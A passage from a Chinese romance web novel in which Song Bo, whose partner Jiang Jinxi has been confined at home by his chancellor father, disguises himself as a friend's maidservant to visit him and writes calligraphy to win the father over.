夜幕降临,宋泊点起房内的蜡烛,烛光将他的身影映在门儿上。 叩叩两声,有人敲响了他的房门。 宋泊笑着起身将房门打开,门口站着江金熙,江金熙手里拎着东西,他瞧着宋泊嘴角的笑,问:“你怎么好像知道是我来了?” “大姑和店小二的敲门声可比你大多了,你敲着这么温柔,我便猜着是你来了。”宋泊侧着身,让江金熙进屋,“这么晚了,怎么还不回家?” “我来瞧你你不乐意?”江金熙反过身,“既然你不乐意,那我走了,好吃的我自个儿吃。” “诶!”宋泊拉住江金熙的手腕,“我开玩笑呢,你来瞧我我自然欢喜,留住你还来不及,哪儿舍得你走。” “这才对嘛。”江金熙未生气,他只是逗宋泊一逗,他折回身子走到房内的木桌旁坐下,将手里领着的食盒打开,“我特意赶在晚餐前来,你快来尝尝这糕点,可好吃哩。” 食盒一打开,一股淡淡的甜味漫在空气之中,香气与房内原有的熏香混合在一起,不显得突兀反倒和谐地混在了一起。 宋泊关上房门,在江金熙对面坐下,江金熙将食盒第一层的糕点拿出来,随后再掀开第二层,把里头的果饮端出,装着糕点和果饮的盘子都很淡雅,虽说东西少,但应当不便宜。 江金熙把勺放在宋泊面前,接着掀开果饮的瓷盖儿,“快尝尝,这是我最爱喝的。” 宋泊对甜味儿没什么追求,不过这既然是江金熙最爱喝的果饮,他定然得尝上一尝,他舀起一勺,含入口中,果饮的甜味并不浓,咽入腹中以后还有甘味回荡,清新之中亦有香气,确实好喝,“你可是长了神之舌,这般美味你都能尝着。” 江金熙舀了一勺果饮喝下,自豪地抬了下脑袋,“那当然,糕点你也尝尝,与果饮当真绝配!” 宋泊拿起糕点小小地尝了一口,糕点比果饮甜些,糕点的腻味被果饮抵了去,两厢中和正合适。 宋泊夸道:“好吃,难怪你会特意带给我。” “自然,我总是想着你的。”江金熙道。 说着聊着之间,糕点大半都落入了江金熙的腹中,见江金熙心情不错,宋泊才提到:“大姑明日就要回村了。” 江金熙准备再拿一块糕点的手一顿,他有些惊讶,“怎么这般急,不多住几日?我还没带大姑在京城里玩呢。” “她说这般出来再回去已经耗去一个多月,不能在京城内多待了,便已雇了马车,明日就启程。”宋泊说。 江金熙瞧着宋泊,说道:“那你呢?你也要回去了吗?”这话题有几分沉重,江金熙都失了吃糕点的兴致。 “我便是想与你说说这事儿。”宋泊拿着桌上放着的洁净的布,牵起江金熙的手,帮他擦去指尖上的糕点屑,“我大抵多住半个月也要回去的。”他把自己心里的想法全都说给江金熙听,一条一条分析着好坏利弊。 江金熙不是不明事理的人,他知道宋泊的考量,只是他自己有些难以选择,一边儿是爹娘一边儿是宋泊。 虽说这并非生死离别,但京城与近里村距离甚远,江金熙一时间想不明白要不要随宋泊一块儿回村。 “你就不能住在京城吗?”江金熙问。 宋泊牵着江金熙的手,声音低沉着安抚江金熙纷乱的思绪,“你知道我不愿意当寄生虫的。” 江金熙知道宋泊有他自己的骄傲,“你让我想想。” “你若待在京城之中,我便会每三个月来京城里看你。”宋泊道。 “那多累。”江金熙牵紧宋泊的手,心底自是不愿意宋泊这般来回奔波,读书之人的时间是黄金,宋泊若每三个月来一次京城,在赶路途中定然不能好好读书。 “别因为我妨碍了你的决定。”宋泊说,“最多两年,我便能考中来京。” “嗯,我知的。”江金熙答。 翌日一早,宋茶栽便乘上预定的马车回村,临了车要启程,她还掀开车窗帘子,“金熙呐,我走了你可得好好帮我看着这小子,别让他犯糊涂。” 江金熙乖乖点头。 “还有,医书可要记得看,功课别落下了。”宋茶栽再说。 一到要离开的时候,好像有好多话嘱咐不完,她担心这儿担心那儿,说了一炷香的时间,马车都未行动起来。 “好了,再说下去今日不用走了。”宋泊道。 宋茶栽的手从车窗伸出来,重重拍了宋泊一下,“知道我话多就别让我那么操心。” 车轮咕噜咕噜转起,宋泊与江金熙瞧着马车越来越远,江金熙一时间没忍住,眼眶发热,眼泪落了下来。 “公子。”青桥赶忙从怀里将手巾拿出来,递到江金熙手中。 “怎么还哭了呢。”宋泊说,应该是他活了两世,对于这种短暂的分别并不那么难过,但他并不会因着自己的情绪而对江金熙冷嘲热讽,他从江金熙的手中拿过手巾,轻轻帮他擦着眼泪,“等会大姑知道了,我肯定得挨她的打,说我欺负她的宝贝金熙了。” 江金熙被宋泊的话逗笑了,他眼睛弯弯,眼中还有未落尽的眼泪,显得他一双眼睛亮晶晶的如琉璃一般,“大姑哪有你说的这么坏。” “反正我若是欺负了你,她定然会将我的腿打断了去。”宋泊说。 宋茶栽走后,宋泊和江金熙也没在外头逗留,宋泊要挪客栈,江金熙自然得来帮忙,不过宋泊带的东西并不多,只他一人整理便够了,江金熙就只能坐在房内泡茶,等宋泊歇息的时候给他递茶喝,掀开茶壶盖子,里头放着个钱袋,江金熙将钱袋从茶壶中掏出来,里头放了银两,大抵有十两多,他将钱袋重新合上,问宋泊:“你将这钱袋塞茶壶里做什么?” “什么钱袋?” “这个钱袋呀。”江金熙拿着钱袋走到宋泊身边,将钱袋放在掌中展示给宋泊瞧。 宋泊一眼便认出这是宋茶栽的钱袋,他的钱袋是素色的,上头一个花纹也无,而宋茶栽的钱袋在右下角绣了朵淡色小花,不仔细瞧也会以为这是个素色钱袋,“都跟大姑说了别留钱,她还悄悄留钱,若是你没发现这钱袋,我岂不是要将这钱袋落在这儿?” 江金熙这才知这竟是宋茶栽的钱袋,这钱袋看着不大,宋茶栽应当只是拿了路费,将大头的钱都留在钱袋之中给宋泊用,他想,宋茶栽应当是世上最好的大姑了。 第65章 第六十五章禁足。 宋泊收拾好行囊,在江金熙的指引下换了间客栈,这客栈江金熙找人打听过,算是最有性价比的一家客栈,一日标间只需八十钱,多住还有优惠。 江金熙环视一圈房内环境,说道:“这间还行,房间不大但胜在干净。” 这标间的房间大小只有状元红客栈一半,不过该有的家具一应俱全,房内没点熏香,因着常年开着窗户,有种清爽的阳光味。 宋泊对客栈环境不挑,只要有个能睡觉的地方就行。 前两日江金熙都带着宋泊在京城中玩,等玩开心了,两人才静下心来开始学习。 明明丞相府的学习条件更好,环境也更安静,但江金熙就是每日都要到宋泊的房间来,两人一人坐一个位,不交谈也有股和谐的氛围环绕在他们身边,有种老夫老夫的岁月静好感。 只是这股平和并未持续太久,三月初十,宋泊在京城住的第七天,江金熙没有来。 宋泊觉着有些奇怪,按理来说江金熙每日早晨巳时初就会到客栈来寻他,可今日都等到天黑了,都没等着江金熙。 许是他有事耽搁了,宋泊想,便也没太在意。 三月十一日,江金熙也未来。 三月十二日,江金熙也未来。 这下宋泊坐不住了,江金熙从未做过这样的事儿,他要去做什么都会提前告知他的。 第四日一早,宋泊起了床吃过早餐以后,直接便往丞相府去。 宋泊拎着丞相府门口前的圆环,叩动两声,有人从里头开门,探出个脑袋来,“你找谁?” 宋泊先行了一礼,随后文质彬彬说道:“我找江金熙江公子,不知他可在府上呢?” 开门的侍人细细瞧着宋泊,从头到脚看了个仔细,听他这么一说,侍人答道:“公子不在府上,您请回吧。”说着就要将大门关上。 这话虽然正常,但宋泊听着总觉得有几分奇怪,再加上前头侍人看他的眼神,这话像是针对他来说的。 “不知可否问下,江公子去哪儿了呢?”宋泊道。 “只有主子身边伺候的侍人才知晓他们的行踪。”门口侍人答道,换言之就是他只负责管门,主子的行踪他一概不知。 从此人口中大抵挖不出什么有用的消息,宋泊又行一礼,跟门口侍人道了声谢以后,便反身走了。 正规的法子行不得,就只能用些偏门的法子,还好来京城以后识得江金熙的好友夏烟,不然他可真得苦恼一阵子。 夏烟的父亲有官职,府邸虽没有丞相府那般大,却因着官职名声,还是好找的。跟路边儿的百姓问了夏府的位置,宋泊很快就走到了夏府门前。 敲开夏府门以后,宋泊顺利见着夏烟。 夏烟赶到大厅,见厅内只有宋泊一人,她问道:“我家小熙儿呢,怎么就你一人。”刚刚府里的侍人来报,她还以为江金熙也一块儿来了,这才答应着见人。 “夏姑娘也不知金熙做什么去了吗?”宋泊问。 夏烟一拂衣裙,坐在宋泊对面,身后的婢女给两人倒上了茶,夏烟问:“什么叫我也不知?他不是天天去你客栈找你吗?” 江金熙那股粘人的劲儿,夏烟都没眼瞧,以往她找江金熙得去丞相府找,现在要找江金熙就得去宋泊的客栈房间找。 “金熙已经三日没有找我了。”宋泊说:“我怀疑他出了什么事。” 夏烟正喝着水,闻言差点一口呛着,“什么?” 江金熙竟然会三日没找宋泊,这怎么可能,夏烟放下茶杯,再问:“他没给你捎信儿?” 江金熙这人做事向来细致,一般出了什么事儿不能赴约,他都会提前喊侍人送信来,虽说每日到客栈并不是什么约定的事儿,但江金熙应当不会这般忽然消失。 “没有。”宋泊道:“刚刚我去过丞相府,府内的侍人有意挡我,不知可否劳烦夏姑娘帮我走一趟,去丞相府瞧瞧金熙是否真的不在府上?” 夏烟的指尖在小方桌上叩了两下,而后她答道:“行,你回客栈等我消息就是。” 坐上去丞相府的马车,夏烟一手撑着下巴朝车窗外看去,外头闪过的人群和风景并未吸引她的主意,她双眼放空,脑中正在想着事情。她会答应宋泊去丞相府探上一探,很大原因是因为担心江金熙,怕之前江金熙被陷害去偏远乡村的事儿再一次发生。 不过江金熙这事儿发生以后,江丞相就增加了府上的护卫数量,应当不会再发生这般事儿才对。 马车行了半炷香的时间,稳稳停在丞相府门口,与宋泊不同的是,夏烟跟门口的侍人一说她要找江金熙,侍人便领着她进了府内。 什么江金熙不在府上,他明明就在府中,莫不是宋泊闲着没事儿干,耍着她玩儿? 侍人将夏烟引到江金熙的院外,她一眼就瞧着院外站着的两个彪形大汉,那两人目视前方一脸凶相,看着就很不好惹,自家院子里还要放护卫,当真需要做到这种地步? 夏烟带疑惑,跨进院内,只见江金熙正坐在一棵榕树底下的石椅子上瞧着医书,听着有人进来,他转头看来,见是夏烟,他赶忙放下手中的医书,起身拉着夏烟往房内儿去,进了房后,还将房门关得严严实实。 “怎么跟做贼一样?”夏烟迷迷糊糊就被按在房内的椅子上。 “你可终于来了。”江金熙说道,天知道他这几日被禁足家中,等夏烟等得有多着急。 三日以前,江丞相发觉江金熙每日都往外头跑,有了前头那事,江丞相总是提着几分心,便叫人去查,这不查不知道,一查吓一跳,自家宝贝哥儿居然在他不知情的时候与他人定了情,定情也就算了,可这定情的对象却是个乡村野夫,而且还是江金熙案子的当事人,这下江丞相就怒了,罚江金熙在自己院中禁足,什么时候想明白了什么时候出来。 江金熙也尝试过往外送信,不过爹爹这次是真的狠了心,他院中连一只蚊子都飞不出去,更别提送信了,于是他只能将希望寄托于宋泊身上,宋泊那般聪明,发现他一直未去找他以后,总会找法子派人进来的,而这人自然就是他俩都认识的夏烟。 “怎么,你在等我?”夏烟问。 江金熙让青桥去门外守着,替他们望风。 “你这样我真的以为我是个贼。”夏烟问,这偷偷摸摸的模样让她觉着她不是来找江金熙的,而是来偷东西的。 “宋泊喊你来的吧。”江金熙直言道。 “哟,聪明。”夏烟答着:“你那门口两个护卫干嘛,你院儿进小偷了?” “爹爹把我禁足了。”江金熙答道。 “什么?”夏烟今日第二次震惊,江丞相疼江金熙可是京城内有名的,谁家发生禁足都不可能发生在丞相府中,“你做了什么?” “爹爹知道了我和宋泊的事儿。”江金熙答,他其实知道自家爹爹是个古板的人,若是知道了他与宋泊的事儿,大概率不会同意,可他与宋泊的事儿已是定局,他不可能因着爹爹不会同意而与宋泊断了联系,因此他便没藏着自己的行踪,爹爹查到便查到,遇着难题他总会想着法子解决的。 “这就让你禁足啊。”夏烟说,这剧情倒是与她看过的很多话本相似,而那些个被禁足的哥儿、姑娘的,无一不是一哭二闹三上吊,怎么到江金熙这儿跟没发生一般,他还能优哉游哉地在外头院子里看书。 “我知道爹爹会做出这事儿,心中早有准备。”江金熙答,不过禁足而已,并不是什么很大的事儿。 “你不反抗反抗?”听江金熙这么说,夏烟倒是有几分好奇。 “怎么反抗?绝食、上吊?”江金熙瞧着夏烟,夏烟眼中闪着光彩,他便知夏烟又将话本中的内容与他联系起来,他之前也跟夏烟一起看过几次话本,里头主角反抗禁足的手段实在低劣,说到底,爹爹会将他禁足也是为了他好,他再绝食、上吊,除了伤害自己伤害爹爹,没有什么其他的作用。 夏烟知道江金熙是个理智的人,她便毫无负担地答道:“对呀!” “把你脑子里的东西清出去吧。”江金熙抬手用指尖点着夏烟的脑袋,“等爹爹知道宋泊是他喜欢的人才后,爹爹会同意的。” “你倒也是相信他。”夏烟说。 “他答应的事儿从未食言过。”江金熙答,并非他相信宋泊,而是宋泊用他的行动证明,他确实不会食言。 不过话虽如此,但被禁着足见不着宋泊也确实是苦了人,他从未这么久没见过宋泊,心中早已心心念念,只能用看书的法子抵去些思念之情。 “那你准备怎么办?”夏烟问。 江丞相说一不二,这禁足时间恐怕短不了,作为江金熙的好友,夏烟还是替他着想的。 “无事,只是可能要难了你了。”江金熙微微一笑,夏烟心中顿生一种不详的预感。 第66章 第六十六章想笑便笑吧。 夏烟揣着江金熙给他的信,只觉得她一个夏府小姐,怎么成了只“信鸽”,她好歹也是廷尉正的女儿,使唤一次可是很贵的,坐在去客栈的马车上,夏烟陷入深深的怀疑之中。 算了,也就小熙儿使唤得动她,其他人要叫她做什么,她还不应呢。 马车停在客栈门口,夏烟下了车,进到客栈之中,她不用店小二领着,直接就到了宋泊的房门口,多次来找江金熙,她都熟悉宋泊住在哪一间了。 叩叩。 夏烟敲响宋泊的房门,宋泊一直坐在房内等着,除了方便以外再未出过房内,听着有人敲门,他立即起身开了门。 门口站着的确实是夏烟,见着夏烟,宋泊没忍住问道:“夏姑娘,如何?” “进去说吧。”夏烟说着,与婢女一块儿进了宋泊的房内。 进房以后,夏烟将怀中藏着的信掏了出来,宋泊伸手接过,上头的字迹确实是江金熙的字迹。 江金熙在信中写了他这几日未出来的原因,并且告诉宋泊不必担心他,他在府内除了禁足以外,其他正常,让他安心读书。 得知江金熙没有出事而是被江丞相禁足丞相府以后,宋泊也不知道自己是该高兴还是该难过,江金熙没有出事是好事,可被限制了自由却又是一件坏事,都是他的身份不够,才会让江金熙平白遭上这一遭。 信中江金熙一句抱怨也没有,只有对他的嘱咐,他何德何能能有这般贴心的伴侣,自己身在囹圄,却一直替他着想。 宋泊将信折好收了起来,问夏烟:“金熙他现在如何?禁足地可是祠堂?” 古代禁足很可能会将人禁在祠堂,美名其曰对着列祖列宗忏悔,可这何尝不是另一种形式的虐待,轻则跪上半日,重则跪到昏倒,江金熙之前膝盖收了上,可捱不住这般禁足。 “他还好,能吃能喝还能看书。”夏烟答:“江丞相没有狠心让他进祠堂,只是将他禁在院内而已。” 跟其他人比起来,江丞相确实是软了心。 “不过门口站着两个大汉,小熙儿也不好出来。”夏烟答。 “他没有被罚跪吧?”宋泊再问。 “没有,好好坐在院内呢。”夏烟再答。 听夏烟这般回答,宋泊稍微松了口气,只要没有罚金熙跪祠堂,其他事儿都好说,只是宋泊毕竟没有亲眼见着江金熙,虽然他相信夏烟在江金熙的事儿上不会撒谎,但他还是要自己亲眼见着江金熙安好,他才能彻底放下心来。 可是丞相府戒备森严,墙边儿也没什么狗洞可以钻,想要进丞相府还得从长计议。 忽然,宋泊想到个法子,他看向夏烟。 夏烟被宋泊看着起了一身鸡皮疙瘩,这对情侣怎么回事,怎么看人的眼神总让人瘆得慌,她心底又升出一股不祥的预感。 宋泊殷勤地给夏烟倒了杯茶,说:“有个事儿需要麻烦夏姑娘。” 翌日,夏烟又坐着马车到了丞相府,这次开门的侍人还是昨日那个侍人,他瞧着夏烟身后的婢女,问:“夏姑娘,今日您的婢女怎的有些眼生那?”不止眼生,这婢女的个儿还有些高,在普通婢女中当是独一份儿,侍人在丞相府工作了这么久,还是第一次见着这般个儿高的婢女。 夏烟一点儿也未慌张,对侍人提出来的问题,她直接答道:“子晴今日发了烧,这是我从府上随便叫来的婢女,你眼生也是正常。”子晴是她的贴身婢女,因着子晴经常跟在她身边伺候,丞相府的人对子晴都眼熟了。 “如此,希望她能快些好起来。”侍人也就是随便一问,问清楚了便放夏烟进了丞相府。 得亏夏烟经常到丞相府里找江金熙,江丞相知道她是个好姑娘,才并未禁止她进府探视江金熙,禁足总归是闷的,夏烟来了正好也能跟江金熙聊聊天,解解闷。 因着夏烟通行无阻,宋泊才能乘着夏烟这股“东风”,混进丞相府之中。 夏烟用自己熟路的借口支开领路的侍人后,她瞥着身后紧紧跟着她的宋泊,忍不住说道:“为了小熙儿你也是豁出去了。” 宋泊道:“这才哪儿到哪儿,你走快些,我弯着膝盖走不了太远。” 夏烟身后带着的婢女就是宋泊本人。 昨日听着宋泊说出他要伪装成她的婢女混进丞相府的时候,夏烟只觉得自己耳朵出了问题。恒国哥儿和女子的地位低下,宋泊这个堂堂男子,居然要扮成女子混入丞相府,当真是闻所未闻。若是被他人知道了去,少不了一阵指指点点。 夏烟再三确认,确定宋泊铁了心要混入丞相府中,也就咬着牙应了这事儿,除了伪装成她的婢女混入丞相府以外,她好像也没有什么更好的法子能将宋泊这个大活人带到丞相府中。 这事儿事关重大,夏烟也是豁出去了,若是被江丞相发现她把宋泊带进了丞相府中,恐怕以后连她也进不了丞相府探望江金熙了。 不过那都是之后的事儿。 第二天一早,夏烟就带着她府上最会给人梳妆打扮的婢女到了宋泊的客栈,花了半个时辰才让宋泊显得像个女子,看着宋泊的打扮,夏烟笑了将近半炷香的时间,才忍住了笑意。 容貌的事儿解决了,还得解决个儿高的事儿,宋泊长得高,在男子中已是少有的高度,更别说混在女子当中,可这是硬条件,夏烟也不能将宋泊的腿锯了,无法,只能让宋泊曲着腿走路,她让婢女拿了件宽厚的衣裙,勉强遮住了宋泊弯曲的膝盖,只是他站起来的时候,免不了高上一节,露出一截小腿。 见此,夏烟又笑了半炷香,等她笑够了才带着宋泊出门。 一开始她还担心宋泊暴露,还好宋泊也算给劲,捱过了丞相府内的那些侍人。 夏烟瞧了瞧四周,这附近没有什么假山遮掩,放眼看去清清楚楚,她道:“现下无人,你大可站起来歇会儿。” 一直曲着膝盖有多酸,她刚刚好奇着试过一次,没走几步就累得她够呛,宋泊竟能一直撑着走这么长一段,当真是为了江金熙豁出去了。 经过这么一遭,夏烟才觉着宋泊有一点儿配得上江金熙,不过也就一点点儿,大抵一粒米那么的一点点儿。 “无妨,你快些就是。”宋泊两脚直打颤,但他不想因着自己图一时之快,而让他们的计划以失败告终,都混到丞相府内,离江金熙只有一步之遥了,在这个时候出了岔子,他凌晨想起来都会给自己一巴掌的。 “行,那我快些。”夏烟说:“小熙儿的房离府门口不远,在百步多便到了。”她怕宋泊撑不住,说点儿距离也好鼓励宋泊撑住。 两人疾行在丞相府中,终于在宋泊即将软腿倒下的时候,两人跨进了江金熙的院子内。 院子内没有人,夏烟便喊了一嗓子,“小熙儿我来了!” “做什么这么急。”江金熙正在屋内,听着夏烟的声儿,他从屋内走出来,当看着夏烟身后的宋泊时,他睁大了双眼,双手抬起捂住嘴。 见着江金熙确实无事,宋泊安下心来腿一软坐在地上,江金熙赶紧跨过房门门槛,跑到宋泊面前,他压低了声儿,“你怎么了,怎么坐在地上了。” “他腿软了。”夏烟凑过来回答道:“他一路都是曲着腿过来的。” “怎么如此。”江金熙惊讶着,伸手帮宋泊揉腿,腿软这事儿一时半会儿好不了,他又不能叫外头的两个护卫进来帮忙扶人,只能这般将就着蹲下给宋泊揉腿。 “为了见你,他可是费了老大的劲儿。”夏烟说。 “干嘛这般虐待自己。”江金熙一边儿揉着一边说道:“有什么想说的写了信让夏烟带进来就是了。” 夏烟:??? 好你个小熙儿,真是一点儿不客气地使唤我。 “夏姑娘说你被禁足,我不放心,你膝盖还有旧伤,我怕江丞相罚你跪祠堂,总得亲眼瞧着你,才能安心。”宋泊说。 听着宋泊的话,江金熙心中软了一片,他答:“爹爹不会那般对我的。” 过了会儿,宋泊的腿有了力气,他们才转入房内。 “这屋内实在闷得慌,我在外头等你们,可别说太久啊。”夏烟说着,很有眼力见地退出了房内,给小情侣留出交谈的空间。 江金熙这才有闲工夫瞧起宋泊的装扮,这不瞧还好,一瞧他也跟夏烟一般,憋不住笑,这男子打扮成女子,不管化妆的手法多么厉害,总是有几分滑稽。不过江金熙没有夏烟笑得那么豪放,考虑到宋泊的面子,他只敢捂着嘴弯着眉儿笑。 “你想笑便放开了笑。”宋泊倒是一点儿也不介意江金熙笑他,这副装扮既能让他混进丞相府,还能逗江金熙笑,十分值当。 听宋泊这么说,江金熙这才放肆笑了起来,这是他禁足以来,笑得最高兴的时候。 第67章 第六十七章写字。 江金熙笑了好一会儿才敛了笑意,他真是没想到宋泊居然会选了个这么毁自己名声的法子进来看他,而后他瞅着宋泊的脸,*好奇地伸手摸了把,给宋泊化妆的人技术很好,江金熙并未觉着厚重的粉感,好像那白皙的皮肤本来就是宋泊的一般。 江金熙坐回自己的位子上,问着:“谁给你画的这个妆?” “夏姑娘的婢女。”宋泊如实回答。 “那就对了。”夏烟作为夏府姑娘很注重自己的外表,故而伺候她的婢女都有一手化妆的本事,江金熙一直都听说她的婢女化妆技术高超,却不知能高超到这般地步,他说:“她的技术可真厉害,能将你变成女子模样。” “确实,”宋泊用食指卷着脸边垂下来的两捋细发,装模作样说道:“这模样好瞧吗?”他也就在画完以后看过一次镜子,这下风尘仆仆赶来,路上颠簸许久,不知道头发有没有乱了。 “好瞧,但还是你原来的模样更好瞧。”江金熙答道。 聊完与面容有关的话,宋泊才与江金熙谈起正事,不知道江丞相什么时候回来,要是被江丞相逮了个正着,宋泊恐怕就不能轻易离开丞相府了。 宋泊问了江金熙禁足的原因,虽然夏烟与他说过一回,但怕中间有些什么漏了的细节,他还是得亲耳听江金熙说过。 江金熙将自己禁足的全过程与宋泊又说了一遍。 “之前我抄过林县令的个人传记,里头的老师应当指的是你爹爹。”宋泊说:“你爹爹可是爱才?” “是啊。”江金熙答,他挪了下椅子,离宋泊更近了些,“我就想你从这方面突破,让我爹爹认可你。”说后,江金熙又补充了句,“当然,我也会常在爹爹耳边说你的好。” “现下我还没有什么能拿出手的实绩,只能看看能不能写些字讨你爹爹的欢心。”宋泊说,他现在还是一介平民,还未考科举得个三两功名,唯一能拿出手又能跟才气沾上边儿的,只有他的字。他还未瞧过其他大家的作品,但在书法这事儿上,他自诩不凡,或许在恒国排不上第一,但前十应当是没有问题。 “我也这么想。”江金熙恰巧也想到了这点,宋泊的字他已瞧过,以他对爹爹多年的了解,宋泊的作品或许可以如一把铁杵,在爹爹的心防上敲开一丝裂缝。 说做便做,江金熙让青桥去仓库里拿金宣纸,他房内的纸只是平时用来写字记事的普通纸,真要写书法,还得要是金宣纸,金宣纸便是当时宋泊从秦令那儿赢得文房四宝中的纸,纸面上带着细微的金闪粉,远看不明显,近看就能发现那纸的奇妙之处,若是再将金宣纸放在太阳底下,那整张作品都会金光闪闪耀眼非常。 青桥动作很快,一炷香时间就将仓库内的金宣纸那了来,为了防止宋泊写字出了差错,他还特意多拿了写,得了江金熙的夸奖。 听闻宋泊要写字,夏烟也从院子内走了进来,她听江金熙说过他这位宋郎写字极好,却因一直未亲眼瞧着而保持怀疑的态度,江金熙都将金宣纸拿出来了,当真是陪着宋泊胡闹,那一张纸可不便宜,宋泊若是写毁几张可就是暴殄天物了。 江金熙帮宋泊研磨,宋泊正拿着江金熙给他提供的毛笔细细观察,秦令的笔已是上品,江金熙的这支笔却更是厉害。 见宋泊还未动手,夏烟还想再抢救一下,她将江金熙拉到一旁,小声如蚊子般说:“你真要让他写字呐?这纸可不便宜,你就这么陪着他闹吗?” “放心。”江金熙轻轻拍了两下夏烟的手臂,“等你瞧着他的字便不觉着用这金宣纸是浪费了。” 夏烟无奈地摇了摇头,真是情人眼里出西施,她家小熙儿已经坠入爱河之中怎么也捞不上来了。 女子的衣裳为了美观,袖子做得比男子的宽,宋泊将衣裙两边宽宽的衣袖固定好后,问:“金熙,我该写些什么?”,既然这信是写给特别的人,那自然得投其所好,他不知道江丞相喜欢什么,只能问江金熙。 江金熙思索了下,说:“就写‘天道酬勤’吧。”这四个字是他们江家的准则,江丞相活了大半辈子,一直贯彻着天道酬勤。 “行。”宋泊应道,他坐在书桌椅上,背直如松,随后他从笔架上拿起毛笔,毛笔笔尖沾上适当的墨水,笔尖落在纸页上时,墨水顺着笔尖行动的方向,丝滑地落在纸面之上,因着是要送给江丞相的,宋泊提起了百分之两百的精神,等最后一个瞥落下,他的头上已经有了轻微的汗珠。 就算之前就看过宋泊的字,现如今再看着一次,江金熙还是觉得亮眼,宋泊的手像是为书法而生,这写出来的作品令人敬佩不已。 夏烟不太懂书法,但她从江金熙眼里的光亮便知这副作品确实是一副佳作,没想到江金熙真的没有在唬她,宋泊真是有两把刷子的人。 难怪江金熙这般才华横溢的哥儿会瞧上宋泊,原来宋泊并不是寻常的村中农户。 “青桥,将这书法拿出去接上绸缎,记得小心些,别毁了。”江金熙说,金宣纸毕竟也是纸,用来当作品的纸得拿出去处理一番,接上绸缎、轴杆,才算是一副完整的作品。 金宣纸并非速干,不过现下江金熙着急,也就等不得它干了,外头加个急,晚上就能送到爹爹手中,他已然忍不住想要悄悄爹爹看着这副好字时的眼神。 “是。”青桥领了命,拿了个托盘将宋泊的字小心放在上头,而后托着往外去了。 “你家宋郎确实有一手。”夏烟碰了下江金熙的胳膊,小声说:“往后能叫他也给我写一副吗?” “你得自己与他说。”江金熙说,写字的是宋泊,就算他们俩定了情,他也不能替宋泊接下这活儿。 江金熙的声音并不小,引得宋泊收东西的动作一顿,瞧了他一眼,正好趁着这一眼,江金熙提道:“夏烟也想要副字。”夏烟作为他多年的好友,替她张口提上一句,已经算是他用情帮她要字了。 “自然没问题。”夏烟帮他偷偷溜进丞相府,他还正愁不知道怎么谢呢,送上一副字,之后还有些事儿要麻烦夏烟,他也会心安理得一些。 “那我也要指定内容。”夏烟高兴了,什么送信、偷带人,她现在充满了干劲还能多帮上几次。 “可以。”宋泊答。 借着现成的条件,宋泊按着夏烟的要求,给她写了副字,江金熙叫了另一个侍人帮忙拿着出去接上绸缎。 如此一来,倒是皆大欢喜。 宋泊和夏烟又在江金熙的房内待了一会儿,等着太阳有些西斜了,他俩才起身准备离开,毕竟宋泊是偷溜进来的,待得太久就像危险性不断往上增加的炸弹,总有爆了的风险。 见宋泊熟练地屈膝,江金熙都快心疼坏了,“还未出去,怎么就屈膝了,之前膝盖还有伤呢,这般又伤着膝盖可如何是好。” “这不是还有你在吗?”宋泊直起膝盖,“有江大夫在,我的膝盖不会有事儿的。” 江金熙眉头微微皱着,“乱说。” “好啦。”宋泊收起玩笑话,“我会注意的。” 夏烟看了眼江金熙又看了眼宋泊,只觉着自己一句话也插不上,站在这儿甚至有些多余。 临走前,宋泊嘱咐着江金熙,让他别做那些不理智的事情,不过禁足一件小事,别反而跟江丞相怄气伤了自己。 “放心,我没那么冲动。”江金熙说着,将两人送到院门口,正想出去之时,两个护卫拦住了他,“江公子,您还在禁足。” “我送朋友出去,只在府内走动也不行?”江金熙反问。 两个护卫对视了一眼,还是拒了江金熙的请求,“老爷交代过了,我俩不好私自做主。” 江金熙也没想为难这两个护卫,宋泊还屈着膝盖,多拖延一会儿便是对他多一分的折磨,“好吧,那我便送到这儿。” “无事,我来过多回都轻车熟路了,不用你送我出去。”夏烟说着,领着宋泊走出院门,她朝江金熙挥了挥手,和宋泊一块儿离开。 宋泊也想与江金熙道别,只是他现在的身份不好自行动作,只能亦步亦趋地跟在夏烟身后,当个安静的婢女。 等上了夏家马车,宋泊才松了口气。 “你倒是豁得出去。”夏烟再次佩服道,装作女子已是不易,全程还得屈着膝盖,这般折磨自己的膝盖。 “这不算什么。”宋泊端坐在马车之中,对夏烟说:“多谢夏姑娘带我进丞相府,往后还得麻烦夏姑娘帮我捎信进来。” 扮做婢女混入丞相府的事儿不能常做,往后他与江金熙的交流还是得以书信往来为主,而夏烟作为两人之间的“信鸽”,自然会辛苦许多。 夏烟挑眉,“多给些报酬,我就不与你计较。” 第68章 第六十八章江丞相。 入夜,府上的灯全都亮了起来,江丞相刚从外头回来,喊江金熙到膳厅吃饭。 因着禁足的事儿,两人的关系略微有些变化,江金熙是小辈,自然要给足自家爹爹面子,没准过几日爹爹心情好就会给他解了禁。 见着江丞相,江金熙先唤了声:“爹爹。” “嗯。”江丞相轻点了下头,应道。 江夫人帮江丞相脱去外袍挂在衣架上,问:“今日怎的回来这么晚?” “帮叶单越找了点儿活儿做。”江丞相边说边往餐桌边走。 乍一下听到与叶单越有关的事儿,江金熙才恍惚发觉,自那日宋泊被判无罪以后,他就将这人忘了,也就是爹爹说一不二,说着要惩罚叶单越,就真的罚了叶单越。 “什么活儿?”江夫人问。 “抓匪徒。”江丞相答。 京城是恒国重地,寻常匪徒不敢来犯,治安相对较好,而边儿上的城镇时不时就会有匪徒来犯,扰得那些地儿的官员都不愿待着,可难了帝上。索性叶单越闲着没事儿,正好派出去抓匪徒,又解决了帝上的隐患,又把叶单越支出了京城,又让他吃了剿匪的苦,可谓是一石三鸟,也算合了江丞相的意。 叶单越刚提功回来不久,正是帝上眼前的红人,不过新人总是抗不过老人,江丞相跟帝上提议了几句,帝上就同意将叶单越派出去剿匪。 如此一来,江金熙眼前、耳边也可清净些。 “爹爹做得好!”江金熙说着,给江丞相夹了菜。 剿匪是个苦活,奖赏没多少却很危险,得失不成正比,故而很多人都不愿意接这个苦活。 “你让我省省心就好了。”江丞相话音落下,将江金熙给他夹的菜放入口中。 听着这话江金熙抿了下唇,闭了嘴乖乖吃饭。 江夫人看着江金熙的神色,碰了下江丞相,“得了,你禁足也禁了五日了,是不是差不多得了。” 江丞相并非想为难自己的宝贝哥儿,只是他不能接受自己的哥儿喜欢上一个腹中无墨的普通村户,他家哥儿腹满诗书,自然得配上一个文人才子,这般想不开以后,江丞相便只能用上最烂的办法,用禁足的法子拦着两人见面。 江金熙偷偷瞄着江丞相,江丞相一言不发,只是一味地吃着饭。 